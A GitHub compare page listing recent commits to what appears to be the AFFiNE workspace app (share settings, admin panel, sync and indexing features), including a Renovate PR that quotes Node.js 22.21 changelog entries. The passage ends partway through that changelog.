Compare commits

...

257 Commits

Author SHA1 Message Date
DarkSky
2ac9158f87 Merge branch 'canary' into darksky/native-sync-state 2026-01-04 00:27:17 +08:00
DarkSky
e7d0f31546 fix: blob redirect 2026-01-04 00:23:51 +08:00
DarkSky
fe5d6c0c0f feat(editor): support frontmatter & colored text parsing (#14205)
fix #13847
2026-01-03 22:43:11 +08:00
Yiding Jia
510933becf chore(server): bump ioredis to 5.8.2 for ipv6 support (#14204)
Bump ioredis to 5.8.2 for ipv6 support. 

Prior to 5.8.2 ioredis required passing `family: 0` or `family: 6` when
constructing a client in order to connect to redis over ipv6. This was
fixed in 5.8.2.

fix #14197
2026-01-03 01:06:30 +00:00
DarkSky
3633c75c6f feat: cleanup tables (#14203)
#### PR Dependency Tree


* **PR #14203** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Removed deprecated database tables, enums and schema fields (cleanup
of legacy subscription, invoice, runtime settings and session expiry
data). This includes irreversible data removal for those legacy
elements.
* **Tests**
* Updated tests and test data to align with the cleaned-up schema and
removed fields.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-01-03 03:50:14 +08:00
DarkSky
41addfe311 fix: blob sync 2026-01-03 01:40:13 +08:00
DarkSky
9a7f8e7d4d feat: workspace level share settings (#14201)
fix #13698
2026-01-03 01:13:27 +08:00
DarkSky
60de882a30 feat: shared link list (#14200)
#### PR Dependency Tree


* **PR #14200** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

## Release Notes

* **New Features**
* Added a "Shared Links" panel to workspace management, enabling admins
to view all published documents within a workspace
* Added publication date tracking for published documents, now displayed
alongside shared links

* **Chores**
  * Removed deprecated `publicPages` field; use `publicDocs` instead

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-01-02 21:07:41 +08:00
zetaloop
9f96633b33 fix: normalize shortcut display (#14196)
Normalize shortcut tokens and remove stray whitespace.
Uncomment group/ungroup shortcuts now that the feature is implemented.
Fix Windows redo shortcut display.

<img width="142" height="230" alt="image"
src="https://github.com/user-attachments/assets/989e061e-1ca2-489c-ab8e-6baad853d438"
/><img width="142" height="37" alt="image"
src="https://github.com/user-attachments/assets/671ed9b2-ccad-44ad-8889-7810bb01143c"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Standardized keyboard shortcut representations across the application
for improved consistency and clarity in shortcut displays.
* Corrected spacing inconsistencies in shortcut entries to ensure
uniform formatting.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2026-01-01 13:07:35 +00:00
DarkSky
1e8095c224 fix: ci 2026-01-01 18:20:18 +08:00
DarkSky
0b0ae5ea0a feat: add queue management for admin panel 2026-01-01 06:13:50 +08:00
DarkSky
f745f7b669 feat: pre-aggregation workspace stats 2026-01-01 05:01:52 +08:00
DarkSky
97507e7043 fix: query type cast 2026-01-01 02:41:03 +08:00
DarkSky
91e6f3c45c feat: improve workspace index 2026-01-01 01:39:40 +08:00
DarkSky
c7b74384a4 fix: types 2025-12-31 23:55:51 +08:00
DarkSky
20c4951847 feat: improve workspace list perf 2025-12-31 22:59:52 +08:00
DarkSky
7ef550a736 feat: native record encoding 2025-12-31 12:47:34 +08:00
DarkSky
bc03fab649 chore: cleanup logs 2025-12-31 12:31:58 +08:00
DarkSky
99332228da feat: native sync state (#14190)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added indexed clock management capabilities for documents, enabling
get, set, and clear operations across Android, iOS, Electron, and web
platforms.

* **Refactor**
* Improved storage architecture to dynamically select platform-specific
implementations (SQLite for Electron, IndexedDB for others).

* **Bug Fixes**
* Enhanced document operations to properly maintain and clean up indexer
synchronization state during document lifecycle changes.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-31 04:09:32 +08:00
DarkSky
95ef04f3e0 fix: cloud workspace search prefer & highlights 2025-12-30 12:46:43 +08:00
DarkSky
e2adab7805 fix: table compatibility (#14185) 2025-12-30 12:01:27 +08:00
DarkSky
30fb953344 fix: build 2025-12-30 05:41:55 +08:00
DarkSky
ff2e96d847 feat: database indexing support (#14181) 2025-12-30 05:23:09 +08:00
DarkSky
95a5e941e7 feat: improve admin panel (#14180) 2025-12-30 05:22:54 +08:00
DarkSky
d6b380aee5 feat: improve pdf rendering (#14171)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Bitmap caching for PDF pages to speed up rendering and reduce repeated
work.
* Automatic prefetching of adjacent pages and expanded viewport overscan
for smoother scrolling.

* **Performance**
* LRU-style in-memory cache with eviction to manage memory and improve
responsiveness.
* Reusable-bitmap lookup and error-tolerant fallbacks for more reliable,
faster page display.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-29 22:01:07 +08:00
Yii
1b9d065778 chore(yocto): should auto gc after applying updates (#12199)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **Bug Fixes**
- Improved document update handling to optimize storage automatically
when garbage collection is enabled.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-12-29 21:48:23 +08:00
DarkSky
e12fe9c12b fix: message handle (#14178)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Robustly sanitize session titles, messages, attachments, and embedded
data to remove invalid/null characters and prevent corrupt persistence.
* Improve chat title generation to skip or recover from invalid input
and log contextual errors without crashing.
* Add more detailed storage and workspace logs and reduce repetitive
checks to aid troubleshooting and stability.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-29 21:47:53 +08:00
DarkSky
1bfd29df99 docs: update docs 2025-12-29 19:08:49 +08:00
renovate[bot]
a38e94f314 chore: bump up Node.js to v22.21.1 (#14175)
> **Note:** This PR body was truncated due to platform limits.

This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [node](https://nodejs.org)
([source](https://redirect.github.com/nodejs/node)) | minor | `22.16.0`
-> `22.21.1` |

---

### Release Notes

<details>
<summary>nodejs/node (node)</summary>

###
[`v22.21.1`](https://redirect.github.com/nodejs/node/releases/tag/v22.21.1):
2025-10-28, Version 22.21.1 &#x27;Jod&#x27; (LTS), @&#8203;aduh95

[Compare
Source](https://redirect.github.com/nodejs/node/compare/v22.21.0...v22.21.1)

##### Commits

-
\[[`af33e8e668`](https://redirect.github.com/nodejs/node/commit/af33e8e668)]
- **benchmark**: remove unused variable from util/priority-queue (Bruno
Rodrigues)
[#&#8203;59872](https://redirect.github.com/nodejs/node/pull/59872)
-
\[[`6764ce8756`](https://redirect.github.com/nodejs/node/commit/6764ce8756)]
- **benchmark**: update count to n in permission startup (Bruno
Rodrigues)
[#&#8203;59872](https://redirect.github.com/nodejs/node/pull/59872)
-
\[[`4e8d99f0dc`](https://redirect.github.com/nodejs/node/commit/4e8d99f0dc)]
- **benchmark**: update num to n in dgram offset-length (Bruno
Rodrigues)
[#&#8203;59872](https://redirect.github.com/nodejs/node/pull/59872)
-
\[[`af0a8ba7f8`](https://redirect.github.com/nodejs/node/commit/af0a8ba7f8)]
- **benchmark**: adjust dgram offset-length len values (Bruno Rodrigues)
[#&#8203;59708](https://redirect.github.com/nodejs/node/pull/59708)
-
\[[`78efd1be4a`](https://redirect.github.com/nodejs/node/commit/78efd1be4a)]
- **benchmark**: update num to n in dgram offset-length (Bruno
Rodrigues)
[#&#8203;59708](https://redirect.github.com/nodejs/node/pull/59708)
-
\[[`df72dc96e9`](https://redirect.github.com/nodejs/node/commit/df72dc96e9)]
- **console,util**: improve array inspection performance (Ruben
Bridgewater)
[#&#8203;60037](https://redirect.github.com/nodejs/node/pull/60037)
-
\[[`ef67d09f50`](https://redirect.github.com/nodejs/node/commit/ef67d09f50)]
- **http**: improve writeEarlyHints by avoiding for-of loop (Haram
Jeong)
[#&#8203;59958](https://redirect.github.com/nodejs/node/pull/59958)
-
\[[`23468fd76b`](https://redirect.github.com/nodejs/node/commit/23468fd76b)]
- **http2**: fix allowHttp1+Upgrade, broken by shouldUpgradeCallback
(Tim Perry)
[#&#8203;59924](https://redirect.github.com/nodejs/node/pull/59924)
-
\[[`56abc4ac76`](https://redirect.github.com/nodejs/node/commit/56abc4ac76)]
- **lib**: optimize priority queue (Gürgün Dayıoğlu)
[#&#8203;60039](https://redirect.github.com/nodejs/node/pull/60039)
-
\[[`ea5cfd98c5`](https://redirect.github.com/nodejs/node/commit/ea5cfd98c5)]
- **lib**: implement passive listener behavior per spec (BCD1me)
[#&#8203;59995](https://redirect.github.com/nodejs/node/pull/59995)
-
\[[`c2dd6eed2f`](https://redirect.github.com/nodejs/node/commit/c2dd6eed2f)]
- **process**: fix wrong asyncContext under unhandled-rejections=strict
(Shima Ryuhei)
[#&#8203;60103](https://redirect.github.com/nodejs/node/pull/60103)
-
\[[`81a3055710`](https://redirect.github.com/nodejs/node/commit/81a3055710)]
- **process**: fix default `env` for `process.execve` (Richard Lau)
[#&#8203;60029](https://redirect.github.com/nodejs/node/pull/60029)
-
\[[`fe492c7ace`](https://redirect.github.com/nodejs/node/commit/fe492c7ace)]
- **process**: fix hrtime fast call signatures (Renegade334)
[#&#8203;59600](https://redirect.github.com/nodejs/node/pull/59600)
-
\[[`76b4cab8fc`](https://redirect.github.com/nodejs/node/commit/76b4cab8fc)]
- **src**: bring permissions macros in line with general C/C++ standards
(Anna Henningsen)
[#&#8203;60053](https://redirect.github.com/nodejs/node/pull/60053)
-
\[[`21970970c7`](https://redirect.github.com/nodejs/node/commit/21970970c7)]
- **src**: remove `AnalyzeTemporaryDtors` option from .clang-tidy
(iknoom)
[#&#8203;60008](https://redirect.github.com/nodejs/node/pull/60008)
-
\[[`609c063e81`](https://redirect.github.com/nodejs/node/commit/609c063e81)]
- **src**: remove unused variables from report (Moonki Choi)
[#&#8203;60047](https://redirect.github.com/nodejs/node/pull/60047)
-
\[[`987841a773`](https://redirect.github.com/nodejs/node/commit/987841a773)]
- **src**: avoid unnecessary string allocations in SPrintF impl (Anna
Henningsen)
[#&#8203;60052](https://redirect.github.com/nodejs/node/pull/60052)
-
\[[`6e386c0632`](https://redirect.github.com/nodejs/node/commit/6e386c0632)]
- **src**: make ToLower/ToUpper input args more flexible (Anna
Henningsen)
[#&#8203;60052](https://redirect.github.com/nodejs/node/pull/60052)
-
\[[`c3be1226c7`](https://redirect.github.com/nodejs/node/commit/c3be1226c7)]
- **src**: allow `std::string_view` arguments to `SPrintF()` and friends
(Anna Henningsen)
[#&#8203;60058](https://redirect.github.com/nodejs/node/pull/60058)
-
\[[`764d35647d`](https://redirect.github.com/nodejs/node/commit/764d35647d)]
- **src**: remove unnecessary `std::string` error messages (Anna
Henningsen)
[#&#8203;60057](https://redirect.github.com/nodejs/node/pull/60057)
-
\[[`1289ef89ec`](https://redirect.github.com/nodejs/node/commit/1289ef89ec)]
- **src**: remove unnecessary shadowed functions on Utf8Value &
BufferValue (Anna Henningsen)
[#&#8203;60056](https://redirect.github.com/nodejs/node/pull/60056)
-
\[[`d1fb8a538d`](https://redirect.github.com/nodejs/node/commit/d1fb8a538d)]
- **src**: avoid unnecessary string -> `char*` -> string round trips
(Anna Henningsen)
[#&#8203;60055](https://redirect.github.com/nodejs/node/pull/60055)
-
\[[`54b439fb5a`](https://redirect.github.com/nodejs/node/commit/54b439fb5a)]
- **src**: fill `options_args`, `options_env` after vectors are
finalized (iknoom)
[#&#8203;59945](https://redirect.github.com/nodejs/node/pull/59945)
-
\[[`c7c597e2ca`](https://redirect.github.com/nodejs/node/commit/c7c597e2ca)]
- **src**: use RAII for uv\_process\_options\_t (iknoom)
[#&#8203;59945](https://redirect.github.com/nodejs/node/pull/59945)
-
\[[`b928ea9716`](https://redirect.github.com/nodejs/node/commit/b928ea9716)]
- **test**: ensure that the message event is fired (Luigi Pinca)
[#&#8203;59952](https://redirect.github.com/nodejs/node/pull/59952)
-
\[[`e4b95a5158`](https://redirect.github.com/nodejs/node/commit/e4b95a5158)]
- **test**: replace diagnostics\_channel stackframe in output snapshots
(Chengzhong Wu)
[#&#8203;60024](https://redirect.github.com/nodejs/node/pull/60024)
-
\[[`4206406694`](https://redirect.github.com/nodejs/node/commit/4206406694)]
- **test**: mark test-web-locks skip on IBM i (SRAVANI GUNDEPALLI)
[#&#8203;59996](https://redirect.github.com/nodejs/node/pull/59996)
-
\[[`26394cd5bf`](https://redirect.github.com/nodejs/node/commit/26394cd5bf)]
- **test**: expand tls-check-server-identity coverage (Diango Gavidia)
[#&#8203;60002](https://redirect.github.com/nodejs/node/pull/60002)
-
\[[`b58df47995`](https://redirect.github.com/nodejs/node/commit/b58df47995)]
- **test**: fix typo of test-benchmark-readline.js (Deokjin Kim)
[#&#8203;59993](https://redirect.github.com/nodejs/node/pull/59993)
-
\[[`af3a59dba8`](https://redirect.github.com/nodejs/node/commit/af3a59dba8)]
- **test**: verify tracing channel doesn't swallow unhandledRejection
(Gerhard Stöbich)
[#&#8203;59974](https://redirect.github.com/nodejs/node/pull/59974)
-
\[[`cee362242b`](https://redirect.github.com/nodejs/node/commit/cee362242b)]
- **timers**: fix binding fast call signatures (Renegade334)
[#&#8203;59600](https://redirect.github.com/nodejs/node/pull/59600)
-
\[[`40fea57fdd`](https://redirect.github.com/nodejs/node/commit/40fea57fdd)]
- **tools**: add message on auto-fixing js lint issues in gh workflow
(Dario Piotrowicz)
[#&#8203;59128](https://redirect.github.com/nodejs/node/pull/59128)
-
\[[`aac90d351b`](https://redirect.github.com/nodejs/node/commit/aac90d351b)]
- **tools**: verify signatures when updating nghttp\* (Antoine du Hamel)
[#&#8203;60113](https://redirect.github.com/nodejs/node/pull/60113)
-
\[[`9fae03c7d9`](https://redirect.github.com/nodejs/node/commit/9fae03c7d9)]
- **tools**: use dependabot cooldown and move tools/doc (Rafael Gonzaga)
[#&#8203;59978](https://redirect.github.com/nodejs/node/pull/59978)
-
\[[`81548abdf6`](https://redirect.github.com/nodejs/node/commit/81548abdf6)]
- **wasi**: fix WasiFunction fast call signature (Renegade334)
[#&#8203;59600](https://redirect.github.com/nodejs/node/pull/59600)

###
[`v22.21.0`](https://redirect.github.com/nodejs/node/releases/tag/v22.21.0):
2025-10-20, Version 22.21.0 &#x27;Jod&#x27; (LTS), @&#8203;aduh95

[Compare
Source](https://redirect.github.com/nodejs/node/compare/v22.20.0...v22.21.0)

##### Notable Changes

-
\[[`1486fedea1`](https://redirect.github.com/nodejs/node/commit/1486fedea1)]
- **(SEMVER-MINOR)** **cli**: add `--use-env-proxy` (Joyee Cheung)
[#&#8203;59151](https://redirect.github.com/nodejs/node/pull/59151)
-
\[[`bedaaa11fc`](https://redirect.github.com/nodejs/node/commit/bedaaa11fc)]
- **(SEMVER-MINOR)** **http**: support http proxy for fetch under
`NODE_USE_ENV_PROXY` (Joyee Cheung)
[#&#8203;57165](https://redirect.github.com/nodejs/node/pull/57165)
-
\[[`af8b5fa29d`](https://redirect.github.com/nodejs/node/commit/af8b5fa29d)]
- **(SEMVER-MINOR)** **http**: add `shouldUpgradeCallback` to let
servers control HTTP upgrades (Tim Perry)
[#&#8203;59824](https://redirect.github.com/nodejs/node/pull/59824)
-
\[[`42102594b1`](https://redirect.github.com/nodejs/node/commit/42102594b1)]
- **(SEMVER-MINOR)** **http,https**: add built-in proxy support in
`http`/`https.request` and `Agent` (Joyee Cheung)
[#&#8203;58980](https://redirect.github.com/nodejs/node/pull/58980)
-
\[[`686ac49b82`](https://redirect.github.com/nodejs/node/commit/686ac49b82)]
- **(SEMVER-MINOR)** **src**: add percentage support to
`--max-old-space-size` (Asaf Federman)
[#&#8203;59082](https://redirect.github.com/nodejs/node/pull/59082)

##### Commits

-
\[[`a71dd592e3`](https://redirect.github.com/nodejs/node/commit/a71dd592e3)]
- **benchmark**: calibrate config dgram multi-buffer (Bruno Rodrigues)
[#&#8203;59696](https://redirect.github.com/nodejs/node/pull/59696)
-
\[[`16c4b466f4`](https://redirect.github.com/nodejs/node/commit/16c4b466f4)]
- **benchmark**: calibrate config cluster/echo.js (Nam Yooseong)
[#&#8203;59836](https://redirect.github.com/nodejs/node/pull/59836)
-
\[[`53cb9f3b6c`](https://redirect.github.com/nodejs/node/commit/53cb9f3b6c)]
- **build**: add the missing macro definitions for OpenHarmony (hqzing)
[#&#8203;59804](https://redirect.github.com/nodejs/node/pull/59804)
-
\[[`ec5290fe01`](https://redirect.github.com/nodejs/node/commit/ec5290fe01)]
- **build**: do not include custom ESLint rules testing in tarball
(Antoine du Hamel)
[#&#8203;59809](https://redirect.github.com/nodejs/node/pull/59809)
-
\[[`1486fedea1`](https://redirect.github.com/nodejs/node/commit/1486fedea1)]
- **(SEMVER-MINOR)** **cli**: add --use-env-proxy (Joyee Cheung)
[#&#8203;59151](https://redirect.github.com/nodejs/node/pull/59151)
-
\[[`1f93913446`](https://redirect.github.com/nodejs/node/commit/1f93913446)]
- **crypto**: use `return await` when returning Promises from async
functions (Renegade334)
[#&#8203;59841](https://redirect.github.com/nodejs/node/pull/59841)
-
\[[`f488b2ff73`](https://redirect.github.com/nodejs/node/commit/f488b2ff73)]
- **crypto**: use async functions for non-stub Promise-returning
functions (Renegade334)
[#&#8203;59841](https://redirect.github.com/nodejs/node/pull/59841)
-
\[[`aed9fd5ac4`](https://redirect.github.com/nodejs/node/commit/aed9fd5ac4)]
- **crypto**: avoid calls to `promise.catch()` (Renegade334)
[#&#8203;59841](https://redirect.github.com/nodejs/node/pull/59841)
-
\[[`37c2d186f0`](https://redirect.github.com/nodejs/node/commit/37c2d186f0)]
- **deps**: update amaro to 1.1.4 (pmarchini)
[#&#8203;60044](https://redirect.github.com/nodejs/node/pull/60044)
-
\[[`28aea13419`](https://redirect.github.com/nodejs/node/commit/28aea13419)]
- **deps**: update archs files for openssl-3.5.4 (Node.js GitHub Bot)
[#&#8203;60101](https://redirect.github.com/nodejs/node/pull/60101)
-
\[[`ddbc1aa0bb`](https://redirect.github.com/nodejs/node/commit/ddbc1aa0bb)]
- **deps**: upgrade openssl sources to openssl-3.5.4 (Node.js GitHub
Bot) [#&#8203;60101](https://redirect.github.com/nodejs/node/pull/60101)
-
\[[`badbba2da9`](https://redirect.github.com/nodejs/node/commit/badbba2da9)]
- **deps**: update googletest to
[`50b8600`](https://redirect.github.com/nodejs/node/commit/50b8600)
(Node.js GitHub Bot)
[#&#8203;59955](https://redirect.github.com/nodejs/node/pull/59955)
-
\[[`48aaf98a08`](https://redirect.github.com/nodejs/node/commit/48aaf98a08)]
- **deps**: update archs files for openssl-3.5.3 (Node.js GitHub Bot)
[#&#8203;59901](https://redirect.github.com/nodejs/node/pull/59901)
-
\[[`e02a562ea6`](https://redirect.github.com/nodejs/node/commit/e02a562ea6)]
- **deps**: upgrade openssl sources to openssl-3.5.3 (Node.js GitHub
Bot) [#&#8203;59901](https://redirect.github.com/nodejs/node/pull/59901)
-
\[[`7e0e86cb92`](https://redirect.github.com/nodejs/node/commit/7e0e86cb92)]
- **deps**: upgrade npm to 10.9.4 (npm team)
[#&#8203;60074](https://redirect.github.com/nodejs/node/pull/60074)
-
\[[`91dda5facf`](https://redirect.github.com/nodejs/node/commit/91dda5facf)]
- **deps**: update undici to 6.22.0 (Matteo Collina)
[#&#8203;60112](https://redirect.github.com/nodejs/node/pull/60112)
-
\[[`3a3220a2f0`](https://redirect.github.com/nodejs/node/commit/3a3220a2f0)]
- **dgram**: restore buffer optimization in fixBufferList (Yoo)
[#&#8203;59934](https://redirect.github.com/nodejs/node/pull/59934)
-
\[[`09bdcce6b8`](https://redirect.github.com/nodejs/node/commit/09bdcce6b8)]
- **diagnostics\_channel**: fix race condition with diagnostics\_channel
and GC (Ugaitz Urien)
[#&#8203;59910](https://redirect.github.com/nodejs/node/pull/59910)
-
\[[`b3eeb3bd13`](https://redirect.github.com/nodejs/node/commit/b3eeb3bd13)]
- **doc**: provide alternative to `url.parse()` using WHATWG URL
(Steven)
[#&#8203;59736](https://redirect.github.com/nodejs/node/pull/59736)
-
\[[`1ddaab1904`](https://redirect.github.com/nodejs/node/commit/1ddaab1904)]
- **doc**: mention reverse proxy and include simple example (Steven)
[#&#8203;59736](https://redirect.github.com/nodejs/node/pull/59736)
-
\[[`3b3b71e99c`](https://redirect.github.com/nodejs/node/commit/3b3b71e99c)]
- **doc**: mark `.env` files support as stable (Santeri Hiltunen)
[#&#8203;59925](https://redirect.github.com/nodejs/node/pull/59925)
-
\[[`d37f67d1bd`](https://redirect.github.com/nodejs/node/commit/d37f67d1bd)]
- **doc**: remove optional title prefixes (Aviv Keller)
[#&#8203;60087](https://redirect.github.com/nodejs/node/pull/60087)
-
\[[`ca2dff63f9`](https://redirect.github.com/nodejs/node/commit/ca2dff63f9)]
- **doc**: fix typo on child\_process.md (Angelo Gazzola)
[#&#8203;60114](https://redirect.github.com/nodejs/node/pull/60114)
-
\[[`3fca564a05`](https://redirect.github.com/nodejs/node/commit/3fca564a05)]
- **doc**: add automated migration info to deprecations (Augustin
Mauroy)
[#&#8203;60022](https://redirect.github.com/nodejs/node/pull/60022)
-
\[[`4bc366fc16`](https://redirect.github.com/nodejs/node/commit/4bc366fc16)]
- **doc**: use "WebAssembly" instead of "Web Assembly" (Tobias Nießen)
[#&#8203;59954](https://redirect.github.com/nodejs/node/pull/59954)
-
\[[`4808dbdd9a`](https://redirect.github.com/nodejs/node/commit/4808dbdd9a)]
- **doc**: fix typo in section on microtask order (Tobias Nießen)
[#&#8203;59932](https://redirect.github.com/nodejs/node/pull/59932)
-
\[[`d6e303d645`](https://redirect.github.com/nodejs/node/commit/d6e303d645)]
- **doc**: update V8 fast API guidance (René)
[#&#8203;58999](https://redirect.github.com/nodejs/node/pull/58999)
-
\[[`0a3a3f729e`](https://redirect.github.com/nodejs/node/commit/0a3a3f729e)]
- **doc**: add security escalation policy (Ulises Gascón)
[#&#8203;59806](https://redirect.github.com/nodejs/node/pull/59806)
-
\[[`8fd669c70d`](https://redirect.github.com/nodejs/node/commit/8fd669c70d)]
- **doc**: type improvement of file `http.md` (yusheng chen)
[#&#8203;58189](https://redirect.github.com/nodejs/node/pull/58189)
-
\[[`9833dc6060`](https://redirect.github.com/nodejs/node/commit/9833dc6060)]
- **doc**: rephrase dynamic import() description (Nam Yooseong)
[#&#8203;59224](https://redirect.github.com/nodejs/node/pull/59224)
-
\[[`2870a73681`](https://redirect.github.com/nodejs/node/commit/2870a73681)]
- **doc,crypto**: update subtle.generateKey and subtle.importKey (Filip
Skokan)
[#&#8203;59851](https://redirect.github.com/nodejs/node/pull/59851)
-
\[[`85818db93c`](https://redirect.github.com/nodejs/node/commit/85818db93c)]
- **fs,win**: do not add a second trailing slash in readdir (Gerhard
Stöbich)
[#&#8203;59847](https://redirect.github.com/nodejs/node/pull/59847)
-
\[[`bedaaa11fc`](https://redirect.github.com/nodejs/node/commit/bedaaa11fc)]
- **(SEMVER-MINOR)** **http**: support http proxy for fetch under
NODE\_USE\_ENV\_PROXY (Joyee Cheung)
[#&#8203;57165](https://redirect.github.com/nodejs/node/pull/57165)
-
\[[`af8b5fa29d`](https://redirect.github.com/nodejs/node/commit/af8b5fa29d)]
- **(SEMVER-MINOR)** **http**: add shouldUpgradeCallback to let servers
control HTTP upgrades (Tim Perry)
[#&#8203;59824](https://redirect.github.com/nodejs/node/pull/59824)
-
\[[`758271ae66`](https://redirect.github.com/nodejs/node/commit/758271ae66)]
- **http**: optimize checkIsHttpToken for short strings (방진혁)
[#&#8203;59832](https://redirect.github.com/nodejs/node/pull/59832)
-
\[[`42102594b1`](https://redirect.github.com/nodejs/node/commit/42102594b1)]
- **(SEMVER-MINOR)** **http,https**: add built-in proxy support in
http/https.request and Agent (Joyee Cheung)
[#&#8203;58980](https://redirect.github.com/nodejs/node/pull/58980)
-
\[[`a33ed9bf96`](https://redirect.github.com/nodejs/node/commit/a33ed9bf96)]
- **inspector**: ensure adequate memory allocation for
`Binary::toBase64` (René)
[#&#8203;59870](https://redirect.github.com/nodejs/node/pull/59870)
-
\[[`34c686be2b`](https://redirect.github.com/nodejs/node/commit/34c686be2b)]
- **lib**: update inspect output format for subclasses (Miguel Marcondes
Filho)
[#&#8203;59687](https://redirect.github.com/nodejs/node/pull/59687)
-
\[[`12e553529c`](https://redirect.github.com/nodejs/node/commit/12e553529c)]
- **lib**: add source map support for assert messages (Chengzhong Wu)
[#&#8203;59751](https://redirect.github.com/nodejs/node/pull/59751)
-
\[[`d2a70571f8`](https://redirect.github.com/nodejs/node/commit/d2a70571f8)]
- **lib,src**: refactor assert to load error source from memory
(Chengzhong Wu)
[#&#8203;59751](https://redirect.github.com/nodejs/node/pull/59751)
-
\[[`20a9e86b5d`](https://redirect.github.com/nodejs/node/commit/20a9e86b5d)]
- **meta**: move Michael to emeritus (Michael Dawson)
[#&#8203;60070](https://redirect.github.com/nodejs/node/pull/60070)
-
\[[`c591cca15c`](https://redirect.github.com/nodejs/node/commit/c591cca15c)]
- **meta**: bump github/codeql-action from 3.30.0 to 3.30.5
(dependabot\[bot])
[#&#8203;60089](https://redirect.github.com/nodejs/node/pull/60089)
-
\[[`090ba141b1`](https://redirect.github.com/nodejs/node/commit/090ba141b1)]
- **meta**: bump codecov/codecov-action from 5.5.0 to 5.5.1
(dependabot\[bot])
[#&#8203;60091](https://redirect.github.com/nodejs/node/pull/60091)
-
\[[`a0ba6884a5`](https://redirect.github.com/nodejs/node/commit/a0ba6884a5)]
- **meta**: bump actions/stale from 9.1.0 to 10.0.0 (dependabot\[bot])
[#&#8203;60092](https://redirect.github.com/nodejs/node/pull/60092)
-
\[[`0feca0c541`](https://redirect.github.com/nodejs/node/commit/0feca0c541)]
- **meta**: bump actions/setup-node from 4.4.0 to 5.0.0
(dependabot\[bot])
[#&#8203;60093](https://redirect.github.com/nodejs/node/pull/60093)
-
\[[`7cd2b42d18`](https://redirect.github.com/nodejs/node/commit/7cd2b42d18)]
- **meta**: bump step-security/harden-runner from 2.12.2 to 2.13.1
(dependabot\[bot])
[#&#8203;60094](https://redirect.github.com/nodejs/node/pull/60094)
-
\[[`1f3b9d66ac`](https://redirect.github.com/nodejs/node/commit/1f3b9d66ac)]
- **meta**: bump actions/cache from 4.2.4 to 4.3.0 (dependabot\[bot])
[#&#8203;60095](https://redirect.github.com/nodejs/node/pull/60095)
-
\[[`0fedbb3de7`](https://redirect.github.com/nodejs/node/commit/0fedbb3de7)]
- **meta**: bump ossf/scorecard-action from 2.4.2 to 2.4.3
(dependabot\[bot])
[#&#8203;60096](https://redirect.github.com/nodejs/node/pull/60096)
-
\[[`04590b8267`](https://redirect.github.com/nodejs/node/commit/04590b8267)]
- **meta**: bump actions/setup-python from 5.6.0 to 6.0.0
(dependabot\[bot])
[#&#8203;60090](https://redirect.github.com/nodejs/node/pull/60090)
-
\[[`2bf0a9318f`](https://redirect.github.com/nodejs/node/commit/2bf0a9318f)]
- **meta**: add .npmrc with ignore-scripts=true (Joyee Cheung)
[#&#8203;59914](https://redirect.github.com/nodejs/node/pull/59914)
-
\[[`e10dc7b81c`](https://redirect.github.com/nodejs/node/commit/e10dc7b81c)]
- **module**: allow overriding linked requests for a ModuleWrap
(Chengzhong Wu)
[#&#8203;59527](https://redirect.github.com/nodejs/node/pull/59527)
-
\[[`2237142369`](https://redirect.github.com/nodejs/node/commit/2237142369)]
- **module**: link module with a module request record (Chengzhong Wu)
[#&#8203;58886](https://redirect.github.com/nodejs/node/pull/58886)
-
\[[`6d24b88fbc`](https://redirect.github.com/nodejs/node/commit/6d24b88fbc)]
- **node-api**: added SharedArrayBuffer api (Mert Can Altin)
[#&#8203;59071](https://redirect.github.com/nodejs/node/pull/59071)
-
\[[`4cc84c96f4`](https://redirect.github.com/nodejs/node/commit/4cc84c96f4)]
- **node-api**: make napi\_delete\_reference use node\_api\_basic\_env
(Jeetu Suthar)
[#&#8203;59684](https://redirect.github.com/nodejs/node/pull/59684)
-
\[[`e790eb6b50`](https://redirect.github.com/nodejs/node/commit/e790eb6b50)]
- **repl**: fix cpu overhead pasting big strings to the REPL (Ruben
Bridgewater)
[#&#8203;59857](https://redirect.github.com/nodejs/node/pull/59857)
-
\[[`99ea08dc43`](https://redirect.github.com/nodejs/node/commit/99ea08dc43)]
- **repl**: add isValidParentheses check before wrap input (Xuguang Mei)
[#&#8203;59607](https://redirect.github.com/nodejs/node/pull/59607)
-
\[[`e4a4f63019`](https://redirect.github.com/nodejs/node/commit/e4a4f63019)]
- **sqlite**: fix crash session extension callbacks with workers (Bart
Louwers)
[#&#8203;59848](https://redirect.github.com/nodejs/node/pull/59848)
-
\[[`42c5544b97`](https://redirect.github.com/nodejs/node/commit/42c5544b97)]
- **src**: assert memory calc for max-old-space-size-percentage (Asaf
Federman)
[#&#8203;59460](https://redirect.github.com/nodejs/node/pull/59460)
-
\[[`686ac49b82`](https://redirect.github.com/nodejs/node/commit/686ac49b82)]
- **(SEMVER-MINOR)** **src**: add percentage support to
